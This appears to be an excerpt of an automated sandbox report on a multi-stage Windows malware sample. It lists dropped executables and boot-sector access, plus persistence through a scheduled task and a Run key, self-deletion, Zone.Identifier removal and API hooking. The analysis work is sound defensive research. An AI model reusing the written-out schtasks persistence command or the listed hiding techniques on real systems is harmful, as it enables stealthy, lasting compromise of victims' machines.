Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	File created: C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\libogg-0.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\87C6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-DIG7J.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\742D.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	File created: C:\Users\user\AppData\Local\Temp\nsvDF5A.tmp\INetC.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-SBH8F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-KGK8A.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\98EE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\avutil-56.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-J7KQC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	File created: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\avcodec-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	File created: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-NKCIS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	File created: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-B1JQ9.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\40BE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-G5H9G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-FG4H6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	File created: C:\ProgramData\Drivers\csrss.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\SDL2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\avformat-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-PP7VD.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\addjbtc	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6C7B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C33B.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\libiconv-2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-C6I3E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-DBI1S.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\libbz2-1.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7CB9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\zlib1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-IUB5D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-JTIBI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\swresample-3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	File created: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	File created: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\libvorbis-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-5CUFU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	File created: C:\Users\user\AppData\Local\Temp\FourthX.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jjdjbtc	Jump to dropped file
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	File created: C:\ProgramData\ObjectSerialization65\ObjectSerialization65.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\libwinpthread-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\libgcc_s_dw2-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	File created: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\libvorbisenc-2.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E059.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-SGE0N.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D741.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	File created: C:\Users\user\AppData\Local\VB Smart Card Viewer\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\syncUpd[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	File created: C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	File created: C:\ProgramData\ObjectSerialization65\ObjectSerialization65.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	File created: C:\ProgramData\Drivers\csrss.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jjdjbtc			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\addjbtc			Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	4_2_00408951
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	4_2_00408951
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	4_2_00408958
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	4_2_00408958
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	4_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	4_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	10_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	10_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	10_2_00408951
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	10_2_00408951
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	10_2_00408958
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	10_2_00408958

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F

Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CSRSS			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CSRSS			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\5yzloz244r.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\jjdjbtc:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\addjbtc:Zone.Identifier read attributes \| delete			Jump to behavior

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: FA0005 value: E9 8B 2F F6 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 76F02F90 value: E9 7A D0 09 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 2B30005 value: E9 2B BA 39 74	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 76ECBA30 value: E9 DA 45 C6 8B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 2B40008 value: E9 8B 8E 3D 74	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 76F18E90 value: E9 80 71 C2 8B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 2B60005 value: E9 8B 4D 09 73	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 75BF4D90 value: E9 7A B2 F6 8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 2B70005 value: E9 EB EB 09 73	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 75C0EBF0 value: E9 1A 14 F6 8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 2B80005 value: E9 8B 8A 45 72	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 74FD8A90 value: E9 7A 75 BA 8D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 2B90005 value: E9 2B 02 47 72	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Memory written: PID: 7096 base: 75000230 value: E9 DA FD B8 8D	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 2023 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 27282
Source: unknown	Network traffic detected: HTTP traffic on port 27282 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 2023
Source: unknown	Network traffic detected: HTTP traffic on port 2023 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 2023
Source: unknown	Network traffic detected: HTTP traffic on port 2023 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 2023

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
